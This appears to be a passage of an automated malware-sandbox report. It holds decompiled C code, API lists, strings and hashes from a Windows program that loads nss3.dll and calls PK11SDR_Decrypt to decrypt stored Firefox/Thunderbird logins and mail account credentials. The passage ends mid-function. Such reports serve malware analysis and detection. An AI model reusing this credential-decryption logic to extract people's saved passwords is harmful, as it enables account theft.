strcpy.MSVCRT(?,0040D972,httpRealm,passwordField,usernameField,encryptedPassword,encryptedUsername,hostname,00000104,00000000,?,0040D972,?,00000000), ref: 0040D14F
strcpy.MSVCRT(?,0040D972,httpRealm,passwordField,usernameField,encryptedPassword,encryptedUsername,hostname,00000104,00000000,?,0040D972,?,00000000), ref: 0040D165
strcpy.MSVCRT(?,?,httpRealm,passwordField,usernameField,encryptedPassword,encryptedUsername,hostname,00000104,00000000,?,0040D972,?,00000000), ref: 0040D17B
strcpy.MSVCRT(?,00000000,httpRealm,passwordField,usernameField,encryptedPassword,encryptedUsername,hostname,00000104,00000000,?,0040D972,?,00000000), ref: 0040D191
strcpy.MSVCRT(?,00000000,httpRealm,passwordField,usernameField,encryptedPassword,encryptedUsername,hostname,00000104,00000000,?,0040D972,?,00000000), ref: 0040D1A4
memset.MSVCRT ref: 0040D1BF
memset.MSVCRT ref: 0040D1D3
memset.MSVCRT ref: 0040D239
memset.MSVCRT ref: 0040D24D
memset.MSVCRT ref: 0040D261
sprintf.MSVCRT ref: 0040D279
sprintf.MSVCRT ref: 0040D28B
sprintf.MSVCRT ref: 0040D29D
_stricmp.MSVCRT(?,?), ref: 0040D2B3
_stricmp.MSVCRT(?,?), ref: 0040D2CC
_stricmp.MSVCRT(?,?), ref: 0040D2E5
_stricmp.MSVCRT(?,00000204), ref: 0040D301

Strings

smtp://%s, xrefs: 0040D297
passwordField, xrefs: 0040D111
imap://%s, xrefs: 0040D285
usernameField, xrefs: 0040D104
hostname, xrefs: 0040D0DE
logins, xrefs: 0040D06F
mailbox://%s, xrefs: 0040D273
encryptedUsername, xrefs: 0040D0EB
httpRealm, xrefs: 0040D11E
encryptedPassword, xrefs: 0040D0F7

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: memset$AddressProcstrcpy$_stricmp$sprintf$CurrentDirectoryLibraryLoadstrlen$HandleModule
String ID: encryptedPassword$encryptedUsername$hostname$httpRealm$imap://%s$logins$mailbox://%s$passwordField$smtp://%s$usernameField
API String ID: 1176642800-3943159138
Opcode ID: 07b75e6ccac2d73e9a819f79207db565455b9c3375c3b4e8148ba61c4ba1c0b5
Instruction ID: cce80d09e33f880f425c5e7640b59ca7d1e8d6c5df6cdb4a6b0c5a683426509d
Opcode Fuzzy Hash: 07b75e6ccac2d73e9a819f79207db565455b9c3375c3b4e8148ba61c4ba1c0b5
Instruction Fuzzy Hash: CDA15372D00119AEDB20EBA5CD819DE77BCAF44308F1405ABF608F7141DA3CAA85CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040E54C, Relevance: 42.1, APIs: 16, Strings: 8, Instructions: 113
libraryloaderstringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E54C(struct HINSTANCE__** __esi, intOrPtr _a4) {
				void _v267;
				char _v268;
				void _v531;
				char _v532;
				void* __ebx;
				void* __edi;
				int _t39;
				void* _t44;
				struct HINSTANCE__* _t53;
				struct HINSTANCE__* _t56;
				struct HINSTANCE__** _t69;

				_t69 = __esi;
				_v268 = 0;
				memset( &_v267, 0, 0x104);
				if(_a4 != 0) {
					E004060DA(0x104,  &_v268, _a4);
				}
				if(_v268 != 0) {
					GetCurrentDirectoryA(0x104,  &(_t69[8]));
					SetCurrentDirectoryA( &_v268);
					_v532 = 0;
					memset( &_v531, 0, 0x104);
					_t39 = strlen("nss3.dll");
					_t13 = strlen( &_v268) + 1; // 0x1
					if(_t39 + _t13 >= 0x104) {
						_v532 = 0;
					} else {
						E004062B7( &_v532,  &_v268, "nss3.dll");
					}
					_t44 = GetModuleHandleA( &_v532);
					 *_t69 = _t44;
					if(_t44 != 0) {
						L9:
						_t69[1] = GetProcAddress( *_t69, "NSS_Init");
						_t69[2] = GetProcAddress( *_t69, "NSS_Shutdown");
						_t69[3] = GetProcAddress( *_t69, "PK11_GetInternalKeySlot");
						_t69[4] = GetProcAddress( *_t69, "PK11_FreeSlot");
						_t69[5] = GetProcAddress( *_t69, "PK11_CheckUserPassword");
						_t69[6] = GetProcAddress( *_t69, "PK11_Authenticate");
						_t69[7] = GetProcAddress( *_t69, "PK11SDR_Decrypt");
					} else {
						_t53 = LoadLibraryExA( &_v532, _t44, 8);
						 *_t69 = _t53;
						if(_t53 != 0) {
							goto L9;
						} else {
							E0040E507();
							_t56 = LoadLibraryExA( &_v532, 0, 8);
							 *_t69 = _t56;
							if(_t56 != 0) {
								goto L9;
							}
						}
					}
				}
				return 0 |  *_t69 != 0x00000000;
			}

0x0040e54c
0x0040e566
0x0040e56d
0x0040e579
0x0040e584
0x0040e589
0x0040e591
0x0040e59c
0x0040e5a9
0x0040e5b9
0x0040e5c0
0x0040e5ca
0x0040e5dd
0x0040e5e6
0x0040e603
0x0040e5e8
0x0040e5fa
0x0040e600
0x0040e611
0x0040e619
0x0040e61b
0x0040e64d
0x0040e663
0x0040e66f
0x0040e67b
0x0040e687
0x0040e693
0x0040e69f
0x0040e6a4
0x0040e61d
0x0040e62d
0x0040e631
0x0040e633
0x00000000
0x0040e635
0x0040e635
0x0040e645
0x0040e649
0x0040e64b
0x00000000
0x00000000
0x0040e64b
0x0040e633
0x0040e61b
0x0040e6b1

APIs

memset.MSVCRT ref: 0040E56D
GetCurrentDirectoryA.KERNEL32(00000104,?,?,?,00000000), ref: 0040E59C
SetCurrentDirectoryA.KERNEL32(00000000,?,?,00000000), ref: 0040E5A9
memset.MSVCRT ref: 0040E5C0
strlen.MSVCRT ref: 0040E5CA
strlen.MSVCRT ref: 0040E5D8
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,00000000), ref: 0040E611
LoadLibraryExA.KERNEL32(00000000,00000000,00000008,?,?,?,?,?,?,?,00000000), ref: 0040E62D
LoadLibraryExA.KERNEL32(00000000,00000000,00000008,?,?,?,?,?,?,?,00000000), ref: 0040E645
GetProcAddress.KERNEL32(?,NSS_Init), ref: 0040E65A
GetProcAddress.KERNEL32(?,NSS_Shutdown), ref: 0040E666
GetProcAddress.KERNEL32(?,PK11_GetInternalKeySlot), ref: 0040E672
GetProcAddress.KERNEL32(?,PK11_FreeSlot), ref: 0040E67E
GetProcAddress.KERNEL32(?,PK11_CheckUserPassword), ref: 0040E68A
GetProcAddress.KERNEL32(?,PK11_Authenticate), ref: 0040E696
GetProcAddress.KERNEL32(?,PK11SDR_Decrypt), ref: 0040E6A2

Part of subcall function 004060DA: strlen.MSVCRT ref: 004060DF
Part of subcall function 004060DA: memcpy.MSVCRT ref: 004060F4

Strings

NSS_Shutdown, xrefs: 0040E65C
PK11_CheckUserPassword, xrefs: 0040E680
nss3.dll, xrefs: 0040E5C5, 0040E5EE
PK11_Authenticate, xrefs: 0040E68C
PK11SDR_Decrypt, xrefs: 0040E698
NSS_Init, xrefs: 0040E653
PK11_GetInternalKeySlot, xrefs: 0040E668
PK11_FreeSlot, xrefs: 0040E674

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: AddressProc$strlen$CurrentDirectoryLibraryLoadmemset$HandleModulememcpy
String ID: NSS_Init$NSS_Shutdown$PK11SDR_Decrypt$PK11_Authenticate$PK11_CheckUserPassword$PK11_FreeSlot$PK11_GetInternalKeySlot$nss3.dll
API String ID: 1296682400-4029219660
Opcode ID: b9878449b49199713cb1e65d9f830cec44e52960d34c19136fd466dd6c257c27
Instruction ID: ea12e4d39b815288b34f85ef975f35705c11e21fdcabb8b0f4231a79c1823d94
Opcode Fuzzy Hash: b9878449b49199713cb1e65d9f830cec44e52960d34c19136fd466dd6c257c27
Instruction Fuzzy Hash: 7E4197B1940318AACB20DF75CC49FC6BBE8AF64704F154C6BE185A2180E7B9A6D4CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00401060, Relevance: 39.2, APIs: 26, Instructions: 186
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00401060(void* __ecx, void* __edx, intOrPtr _a4, struct HDC__* _a8, unsigned int _a12) {
				struct tagPOINT _v12;
				void _v267;
				char _v268;
				void* __edi;
				void* __esi;
				void* _t50;
				struct HBRUSH__* _t62;
				void* _t67;
				unsigned int _t68;
				void* _t73;
				struct HWND__* _t74;
				struct HWND__* _t75;
				void* _t78;
				unsigned int _t79;
				struct HWND__* _t81;
				struct HWND__* _t82;
				struct HWND__* _t83;
				struct HWND__* _t84;
				unsigned int _t89;
				struct HWND__* _t91;
				struct HWND__* _t93;
				struct HWND__* _t94;
				void* _t98;
				void* _t104;
				struct tagPOINT _t109;
				struct tagPOINT _t111;

				_t104 = __edx;
				_t100 = __ecx;
				_t50 = _a4 - 0x110;
				_t98 = __ecx;
				if(_t50 == 0) {
					__eflags =  *0x418348;
					if( *0x418348 != 0) {
						SetDlgItemTextA( *(__ecx + 4), 0x3ee, 0x418348);
					} else {
						ShowWindow(GetDlgItem( *(__ecx + 4), 0x3ed), 0);
						ShowWindow(GetDlgItem( *(_t98 + 4), 0x3ee), 0);
					}
					_v268 = 0;
					memset( &_v267, 0, 0xff);
					SetWindowTextA( *(_t98 + 4), E004019DA(_t100,  &_v268, 0x413450));
					SetDlgItemTextA( *(_t98 + 4), 0x3ea, _t98 + 0xc);
					SetDlgItemTextA( *(_t98 + 4), 0x3ec, _t98 + 0x10b);
					E00401000(_t98, __eflags);
					E0040649B(_t104,  *(_t98 + 4));
					goto L29;
				} else {
					_t67 = _t50 - 1;
					if(_t67 == 0) {
						_t68 = _a8;
						__eflags = _t68 - 1;
						if(_t68 != 1) {
							goto L29;
						} else {
							__eflags = _t68 >> 0x10;
							if(_t68 >> 0x10 != 0) {
								goto L29;
							} else {
								EndDialog( *(__ecx + 4), 1);
								DeleteObject( *(_t98 + 0x20c));
								goto L8;
							}
						}
					} else {
						_t73 = _t67 - 0x27;
						if(_t73 == 0) {
							_t74 = GetDlgItem( *(__ecx + 4), 0x3ec);
							__eflags = _a12 - _t74;
							if(_a12 != _t74) {
								__eflags =  *0x418388;
								if( *0x418388 == 0) {
									goto L29;
								} else {
									_t75 = GetDlgItem( *(_t98 + 4), 0x3ee);
									__eflags = _a12 - _t75;
									if(_a12 != _t75) {
										goto L29;
									} else {
										goto L18;
									}
								}
							} else {
								L18:
								SetBkMode(_a8, 1);
								SetTextColor(_a8, 0xc00000);
								_t62 = GetSysColorBrush(0xf);
							}
						} else {
							_t78 = _t73 - 0xc8;
							if(_t78 == 0) {
								_t79 = _a12;
								_t109 = _t79 & 0x0000ffff;
								_v12.x = _t109;
								_v12.y = _t79 >> 0x10;
								_t81 = GetDlgItem( *(__ecx + 4), 0x3ec);
								_push(_v12.y);
								_a8 = _t81;
								_t82 = ChildWindowFromPoint( *(_t98 + 4), _t109);
								__eflags = _t82 - _a8;
								if(_t82 != _a8) {
									__eflags =  *0x418388;
									if( *0x418388 == 0) {
										goto L29;
									} else {
										_t83 = GetDlgItem( *(_t98 + 4), 0x3ee);
										_push(_v12.y);
										_t84 = ChildWindowFromPoint( *(_t98 + 4), _v12.x);
										__eflags = _t84 - _t83;
										if(_t84 != _t83) {
											goto L29;
										} else {
											goto L13;
										}
									}
								} else {
									L13:
									SetCursor(LoadCursorA( *0x417b94, 0x67));
									goto L8;
								}
							} else {
								if(_t78 != 0) {
									L29:
									_t62 = 0;
									__eflags = 0;
								} else {
									_t89 = _a12;
									_t111 = _t89 & 0x0000ffff;
									_v12.x = _t111;
									_v12.y = _t89 >> 0x10;
									_t91 = GetDlgItem( *(__ecx + 4), 0x3ec);
									_push(_v12.y);
									_a8 = _t91;
									if(ChildWindowFromPoint( *(_t98 + 4), _t111) != _a8) {
										__eflags =  *0x418388;
										if( *0x418388 == 0) {
											goto L29;
										} else {
											_t93 = GetDlgItem( *(_t98 + 4), 0x3ee);
											_push(_v12.y);
											_t94 = ChildWindowFromPoint( *(_t98 + 4), _v12);
											__eflags = _t94 - _t93;
											if(_t94 != _t93) {
												goto L29;
											} else {
												_push(0x418388);
												goto L7;
											}
										}
									} else {
										_push(_t98 + 0x10b);
										L7:
										_push( *(_t98 + 4));
										E00406552();
										L8:
										_t62 = 1;
									}
								}
							}
						}
					}
				}
				return _t62;
			}

0x00401060
0x00401060
0x0040106c
0x00401074
0x00401076
0x00401231
0x00401238
0x00401273
0x0040123a
0x00401253
0x00401262
0x00401262
0x00401287
0x0040128e
0x004012aa
0x004012c2
0x004012d3
0x004012d7
0x004012df
0x00000000
0x0040107c
0x0040107c
0x0040107d
0x004011fc
0x004011ff
0x00401203
0x00000000
0x00401209
0x0040120c
0x0040120f
0x00000000
0x00401215
0x0040121a
0x00401226
0x00000000
0x00401226
0x0040120f
0x00401083
0x00401083
0x00401086
0x004011ad
0x004011af
0x004011b2
0x004011da
0x004011e1
0x00000000
0x004011e7
0x004011ef
0x004011f1
0x004011f4
0x00000000
0x004011fa
0x00000000
0x004011fa
0x004011f4
0x004011b4
0x004011b4
0x004011b9
0x004011c7
0x004011cf
0x004011cf
0x0040108c
0x0040108c
0x00401091
0x00401121
0x0040112a
0x00401138
0x0040113b
0x0040113e
0x00401140
0x00401143
0x00401150
0x00401152
0x00401155
0x00401171
0x00401178
0x00000000
0x0040117e
0x00401186
0x00401188
0x00401193
0x00401195
0x00401197
0x00000000
0x0040119d
0x00000000
0x0040119d
0x00401197
0x00401157
0x00401157
0x00401166
0x00000000
0x00401166
0x00401097
0x00401099
0x004012e5
0x004012e5
0x004012e5
0x0040109f
0x0040109f
0x004010a8
0x004010b6
0x004010b9
0x004010bc
0x004010be
0x004010c1
0x004010d3
0x004010ee
0x004010f5
0x00000000
0x004010fb
0x00401103
0x00401105
0x00401110
0x00401112
0x00401114
0x00000000
0x0040111a
0x0040111a
0x00000000
0x0040111a
0x00401114
0x004010d5
0x004010db
0x004010dc
0x004010dc
0x004010df
0x004010e6
0x004010e8
0x004010e8
0x004010d3
0x00401099
0x00401091
0x00401086
0x0040107d
0x004012eb

APIs

GetDlgItem.USER32 ref: 004010BC
ChildWindowFromPoint.USER32 ref: 004010CE
GetDlgItem.USER32 ref: 00401103
ChildWindowFromPoint.USER32 ref: 00401110
GetDlgItem.USER32 ref: 0040113E
ChildWindowFromPoint.USER32 ref: 00401150
LoadCursorA.USER32 ref: 0040115F
SetCursor.USER32(00000000,?,?), ref: 00401166
GetDlgItem.USER32 ref: 00401186
ChildWindowFromPoint.USER32 ref: 00401193
GetDlgItem.USER32 ref: 004011AD
SetBkMode.GDI32(?,00000001), ref: 004011B9
SetTextColor.GDI32(?,00C00000), ref: 004011C7
GetSysColorBrush.USER32(0000000F), ref: 004011CF
GetDlgItem.USER32 ref: 004011EF
EndDialog.USER32(?,00000001), ref: 0040121A
DeleteObject.GDI32(?), ref: 00401226
GetDlgItem.USER32 ref: 0040124A
ShowWindow.USER32(00000000), ref: 00401253
GetDlgItem.USER32 ref: 0040125F
ShowWindow.USER32(00000000), ref: 00401262
SetDlgItemTextA.USER32 ref: 00401273
memset.MSVCRT ref: 0040128E
SetWindowTextA.USER32(?,00000000), ref: 004012AA
SetDlgItemTextA.USER32 ref: 004012C2
SetDlgItemTextA.USER32 ref: 004012D3

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Item$Window$Text$ChildFromPoint$ColorCursorShow$BrushDeleteDialogLoadModeObjectmemset
String ID:
API String ID: 2998058495-0
Opcode ID: 8ebdac4dc682d180df791e79ca3a4ee1758aaaedabd5f88fc31ce58f9e0aca68
Instruction ID: d9fb6b658f62cfbd3d3feccfc88cd7b26f9bda258aecb32a4b2b6428ade5212d
Opcode Fuzzy Hash: 8ebdac4dc682d180df791e79ca3a4ee1758aaaedabd5f88fc31ce58f9e0aca68
Instruction Fuzzy Hash: 21619D31400248FBDF129F60DD89BAA7FA5EB04715F14C1B6F908BA2F1C7759A90DB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040A88E, Relevance: 38.8, APIs: 18, Strings: 4, Instructions: 285
windowregistrystringCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E0040A88E(intOrPtr __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HMENU__* _t121;
				struct HWND__* _t122;
				intOrPtr _t128;
				int _t133;
				intOrPtr _t135;
				int _t149;
				void* _t166;
				char* _t174;
				void* _t178;
				void* _t185;
				intOrPtr _t194;
				void* _t197;
				void* _t198;
				intOrPtr _t200;
				intOrPtr _t201;
				void* _t202;
				int _t204;
				intOrPtr _t205;
				intOrPtr* _t207;
				intOrPtr* _t208;
				void* _t210;
				intOrPtr* _t211;
				void* _t213;

				_t213 = __eflags;
				_t208 = _t210 - 0x78;
				_t211 = _t210 - 0xb8;
				 *((intOrPtr*)(_t208 + 0x70)) = __ecx;
				 *((char*)(_t208 - 0x37)) = 1;
				 *(_t208 - 0x40) = 0;
				 *((intOrPtr*)(_t208 - 0x3c)) = 0;
				 *((char*)(_t208 - 0x38)) = 0;
				 *((char*)(_t208 - 0x36)) = 0;
				 *((char*)(_t208 - 0x35)) = 0;
				asm("stosd");
				asm("stosd");
				 *(_t208 - 0x2c) = 1;
				 *((intOrPtr*)(_t208 - 0x28)) = 0x9c41;
				 *((char*)(_t208 - 0x24)) = 4;
				 *((char*)(_t208 - 0x23)) = 0;
				 *((char*)(_t208 - 0x22)) = 0;
				 *((char*)(_t208 - 0x21)) = 0;
				asm("stosd");
				asm("stosd");
				 *((intOrPtr*)(_t208 - 0x18)) = 5;
				 *((intOrPtr*)(_t208 - 0x14)) = 0x9c44;
				 *((char*)(_t208 - 0x10)) = 4;
				 *((char*)(_t208 - 0xf)) = 0;
				 *((char*)(_t208 - 0xe)) = 0;
				 *((char*)(_t208 - 0xd)) = 0;
				asm("stosd");
				asm("stosd");
				 *(_t208 - 4) = 2;
				 *_t208 = 0x9c48;
				 *((char*)(_t208 + 4)) = 4;
				 *((char*)(_t208 + 5)) = 0;
				 *((char*)(_t208 + 6)) = 0;
				 *((char*)(_t208 + 7)) = 0;
				asm("stosd");
				asm("stosd");
				 *((intOrPtr*)(_t208 + 0x10)) = 3;
				 *((intOrPtr*)(_t208 + 0x14)) = 0x9c49;
				 *((char*)(_t208 + 0x18)) = 4;
				 *((char*)(_t208 + 0x19)) = 0;
				 *((char*)(_t208 + 0x1a)) = 0;
				 *((char*)(_t208 + 0x1b)) = 0;
				asm("stosd");
				asm("stosd");
				 *((intOrPtr*)(_t208 + 0x24)) = 0;
				 *((intOrPtr*)(_t208 + 0x28)) = 0x9c4e;
				 *((char*)(_t208 + 0x2c)) = 4;
				 *((char*)(_t208 + 0x2d)) = 0;
				 *((char*)(_t208 + 0x2e)) = 0;
				 *((char*)(_t208 + 0x2f)) = 0;
				asm("stosd");
				asm("stosd");
				 *((intOrPtr*)(_t208 + 0x38)) = 6;
				 *((intOrPtr*)(_t208 + 0x3c)) = 0x9c56;
				 *((char*)(_t208 + 0x40)) = 4;
				 *((char*)(_t208 + 0x41)) = 0;
				 *((char*)(_t208 + 0x42)) = 0;
				 *((char*)(_t208 + 0x43)) = 0;
				asm("stosd");
				asm("stosd");
				 *((intOrPtr*)(_t208 + 0x4c)) = 4;
				 *((intOrPtr*)(_t208 + 0x50)) = 0x9c42;
				 *((char*)(_t208 + 0x54)) = 4;
				 *((char*)(_t208 + 0x55)) = 0;
				 *((char*)(_t208 + 0x56)) = 0;
				 *((char*)(_t208 + 0x57)) = 0;
				 *(_t208 + 0x6c) =  *(_t208 + 0x6c) | 0xffffffff;
				asm("stosd");
				_t198 = 0x66;
				asm("stosd");
				_t121 = E00407D23(_t198);
				_t194 =  *((intOrPtr*)(_t208 + 0x70));
				 *(_t194 + 0x11c) = _t121;
				_t122 = SetMenu( *(_t194 + 0x108), _t121);
				__imp__#6(0x50000000, 0x41344f,  *(_t194 + 0x108), 0x101, _t185, _t197, _t166);
				 *(_t194 + 0x114) = _t122;
				SendMessageA(_t122, 0x404, 1, _t208 + 0x6c);
				 *((intOrPtr*)(_t194 + 0x118)) = CreateToolbarEx( *(_t194 + 0x108), 0x50010900, 0x102, 7, 0, LoadImageA( *0x417b94, 0x68, 0, 0, 0, 0x9060), _t208 - 0x40, 8, 0x10, 0x10, 0x70, 0x10, 0x14);
				E00402393( *((intOrPtr*)(_t194 + 0x370)), _t213, CreateWindowExA(0, "SysListView32", 0, 0x50810809, 0, 0, 0x190, 0xc8,  *(_t194 + 0x108), 0x103,  *0x417b94, 0), 1);
				_t128 =  *((intOrPtr*)(_t194 + 0x370));
				_t173 =  *((intOrPtr*)(_t128 + 0x1b0));
				_t200 =  *((intOrPtr*)(_t128 + 0x1b4));
				 *((intOrPtr*)(_t208 + 0x68)) =  *((intOrPtr*)(_t128 + 0x184));
				if(_t173 <= 0) {
					L3:
					_t201 =  *((intOrPtr*)(_t194 + 0x370));
					E0040A02E(_t201);
					_t133 = ImageList_ReplaceIcon( *(_t201 + 0x18c), 0, LoadIconA( *0x417b94, 0x66));
					if( *((intOrPtr*)(_t201 + 0x1b8)) != 0) {
						E00409F9C(_t133, _t173, _t194, _t201);
					}
					_t202 = 0x68;
					 *((intOrPtr*)(_t194 + 0x154)) = E00407D23(_t202);
					_t135 =  *((intOrPtr*)(_t194 + 0x37c));
					if( *((intOrPtr*)(_t135 + 0x30)) <= 0) {
						_t174 = 0x41344f;
					} else {
						if( *((intOrPtr*)(_t135 + 0x1c)) <= 0) {
							_t174 = 0;
						} else {
							_t174 =  *((intOrPtr*)( *((intOrPtr*)(_t135 + 0xc)))) +  *((intOrPtr*)(_t135 + 0x10));
						}
					}
					_push("/noloadsettings");
					_push(_t174);
					L00412072();
					if(_t135 == 0) {
						RegDeleteKeyA(0x80000001, 0x41344f);
					}
					E0040B031(_t194, 0);
					 *( *(_t194 + 0x36c)) = 1;
					SetFocus( *( *((intOrPtr*)(_t194 + 0x370)) + 0x184));
					if( *0x418660 == 0) {
						E0040617C(0x418660);
						if((GetFileAttributesA(0x418660) & 0x00000001) != 0) {
							GetTempPathA(0x104, 0x418660);
						}
					}
					_t204 = strlen(0x418660);
					 *_t211 = "report.html";
					_t99 = strlen(??) + 1; // 0x1
					_t223 = _t204 + _t99 - 0x104;
					if(_t204 + _t99 >= 0x104) {
						 *((char*)(_t194 + 0x264)) = 0;
					} else {
						E004062B7(_t194 + 0x264, 0x418660, "report.html");
					}
					_push(1);
					_t178 = 0x30;
					E0040A175( *((intOrPtr*)(_t194 + 0x370)), _t178);
					E0040A175( *((intOrPtr*)(_t194 + 0x370)), 1, ( *(_t194 + 0x36c))[1]);
					_t149 = RegisterWindowMessageA("commdlg_FindReplace");
					_t205 = _t194;
					 *(_t194 + 0x374) = _t149;
					E0040A3E9(0, 1, _t205, _t223);
					E00401E4A(_t223,  *((intOrPtr*)(_t205 + 0x370)) + 0xb20);
					 *(_t208 + 0x60) = 0x12c;
					 *((intOrPtr*)(_t208 + 0x64)) = 0x400;
					SendMessageA( *(_t205 + 0x114), 0x404, 2, _t208 + 0x60);
					return SendMessageA( *(_t205 + 0x114), 0x401, 0x1001, 0);
				} else {
					_t207 = _t200 + 0xc;
					 *((intOrPtr*)(_t208 + 0x74)) = _t173;
					do {
						_t173 =  *((intOrPtr*)(_t207 - 8));
						E0040492F( *((intOrPtr*)(_t207 + 4)),  *((intOrPtr*)(_t207 - 8)),  *((intOrPtr*)(_t208 + 0x68)),  *((intOrPtr*)(_t207 - 0xc)),  *((intOrPtr*)(_t207 - 4)),  *_t207);
						_t211 = _t211 + 0x10;
						_t207 = _t207 + 0x14;
						_t82 = _t208 + 0x74;
						 *_t82 =  *((intOrPtr*)(_t208 + 0x74)) - 1;
					} while ( *_t82 != 0);
					goto L3;
				}
			}

0x0040a88e
0x0040a88f
0x0040a893
0x0040a89c
0x0040a89f
0x0040a8a7
0x0040a8aa
0x0040a8ad
0x0040a8b0
0x0040a8b3
0x0040a8b9
0x0040a8ba
0x0040a8bb
0x0040a8c2
0x0040a8c9
0x0040a8cd
0x0040a8d0
0x0040a8d3
0x0040a8db
0x0040a8dc
0x0040a8dd
0x0040a8e4
0x0040a8eb
0x0040a8ef
0x0040a8f2
0x0040a8f5
0x0040a8fd
0x0040a8fe
0x0040a8ff
0x0040a906
0x0040a90d
0x0040a911
0x0040a914
0x0040a917
0x0040a91f
0x0040a920
0x0040a921
0x0040a928
0x0040a92f
0x0040a933
0x0040a936
0x0040a939
0x0040a941
0x0040a942
0x0040a943
0x0040a946
0x0040a94d
0x0040a951
0x0040a954
0x0040a957
0x0040a95f
0x0040a960
0x0040a961
0x0040a968
0x0040a96f
0x0040a973
0x0040a976
0x0040a979
0x0040a981
0x0040a982
0x0040a983
0x0040a98a
0x0040a991
0x0040a995
0x0040a998
0x0040a99b
0x0040a99e
0x0040a9a7
0x0040a9aa
0x0040a9ab
0x0040a9ac
0x0040a9b1
0x0040a9bb
0x0040a9c1
0x0040a9dc
0x0040a9ee
0x0040a9f4
0x0040aa41
0x0040aa79
0x0040aa7e
0x0040aa84
0x0040aa8c
0x0040aa98
0x0040aa9b
0x0040aac4
0x0040aac4
0x0040aacc
0x0040aae7
0x0040aaf3
0x0040aaf5
0x0040aaf5
0x0040aafc
0x0040ab02
0x0040ab08
0x0040ab11
0x0040ab26
0x0040ab13
0x0040ab16
0x0040ab22
0x0040ab18
0x0040ab1d
0x0040ab1d
0x0040ab16
0x0040ab2b
0x0040ab30
0x0040ab31
0x0040ab3a
0x0040ab46
0x0040ab46
0x0040ab4f
0x0040ab5a
0x0040ab6c
0x0040ab7d
0x0040ab7f
0x0040ab8d
0x0040ab95
0x0040ab95
0x0040ab8d
0x0040aba1
0x0040aba3
0x0040abaf
0x0040abb3
0x0040abb9
0x0040abd4
0x0040abbb
0x0040abcb
0x0040abd1
0x0040abe0
0x0040abe4
0x0040abe5
0x0040abfc
0x0040ac06
0x0040ac0e
0x0040ac10
0x0040ac16
0x0040ac27
0x0040ac43
0x0040ac4a
0x0040ac51
0x0040ac6d
0x0040aa9d
0x0040aa9d
0x0040aaa0
0x0040aaa3
0x0040aaab
0x0040aab4
0x0040aab9
0x0040aabc
0x0040aabf
0x0040aabf
0x0040aabf
0x00000000
0x0040aaa3

APIs

Part of subcall function 00407D23: LoadMenuA.USER32 ref: 00407D2B
Part of subcall function 00407D23: sprintf.MSVCRT ref: 00407D4E

SetMenu.USER32(?,00000000), ref: 0040A9C1
#6.COMCTL32(50000000,0041344F,?,00000101), ref: 0040A9DC
SendMessageA.USER32 ref: 0040A9F4
LoadImageA.USER32 ref: 0040AA0A
CreateToolbarEx.COMCTL32(?,50010900,00000102,00000007,00000000,00000000,?,00000008,00000010,00000010,00000070,00000010,00000014), ref: 0040AA34
CreateWindowExA.USER32 ref: 0040AA6A
LoadIconA.USER32(00000066,00000000), ref: 0040AAD9
ImageList_ReplaceIcon.COMCTL32(?,00000000,00000000), ref: 0040AAE7
_stricmp.MSVCRT(0041344F,/noloadsettings), ref: 0040AB31
RegDeleteKeyA.ADVAPI32(80000001,0041344F), ref: 0040AB46
SetFocus.USER32(?,00000000), ref: 0040AB6C
GetFileAttributesA.KERNEL32(00418660), ref: 0040AB85
GetTempPathA.KERNEL32(00000104,00418660), ref: 0040AB95
strlen.MSVCRT ref: 0040AB9C
strlen.MSVCRT ref: 0040ABAA
RegisterWindowMessageA.USER32(commdlg_FindReplace,?,00000001), ref: 0040AC06

Part of subcall function 0040492F: strlen.MSVCRT ref: 0040494C
Part of subcall function 0040492F: SendMessageA.USER32 ref: 00404970

SendMessageA.USER32 ref: 0040AC51
SendMessageA.USER32 ref: 0040AC64

Strings

commdlg_FindReplace, xrefs: 0040AC01
SysListView32, xrefs: 0040AA64
/noloadsettings, xrefs: 0040AB2B
report.html, xrefs: 0040ABA3, 0040ABBB

Memory Dump Source

Source File: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.403093609.0000000000419000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: Message$Send$Loadstrlen$CreateIconImageMenuWindow$AttributesDeleteFileFocusList_PathRegisterReplaceTempToolbar_stricmpsprintf
String ID: /noloadsettings$SysListView32$commdlg_FindReplace$report.html
API String ID: 873469642-933021314
Opcode ID: f75555cb15c1b63825adbd58fa812571469ae2ca081b8c073a2cdb6d326835af
Instruction ID: e1998a72efec4b56c1f9895f5ce6fdd1159dce7011e853ef75bd655fd4d55b37
Opcode Fuzzy Hash: f75555cb15c1b63825adbd58fa812571469ae2ca081b8c073a2cdb6d326835af
Instruction Fuzzy Hash: DBB10071644388EFEB16CF74C845BDABFB5BF14304F00406AF644A7292C7B9A954CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 004025C5, Relevance: 37.6, APIs: 3, Strings: 22, Instructions: 127
stringCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E004025C5(void* __ecx, void* __fp0) {
				void* __esi;
				void* _t58;
				void* _t59;
				void* _t67;
				void* _t70;
				void* _t73;
				void* _t87;
				signed int _t90;
				void* _t92;
				signed int _t96;
				intOrPtr _t100;
				intOrPtr _t101;
				void* _t103;
				void* _t105;
				void* _t106;
				void* _t108;
				void* _t114;

				_t114 = __fp0;
				_t92 = __ecx;
				_t103 = _t105 - 0x6c;
				_t106 = _t105 - 0x474;
				 *(_t103 + 0x4c) = "POP3 User Name";
				 *(_t103 + 0x50) = "IMAP User Name";
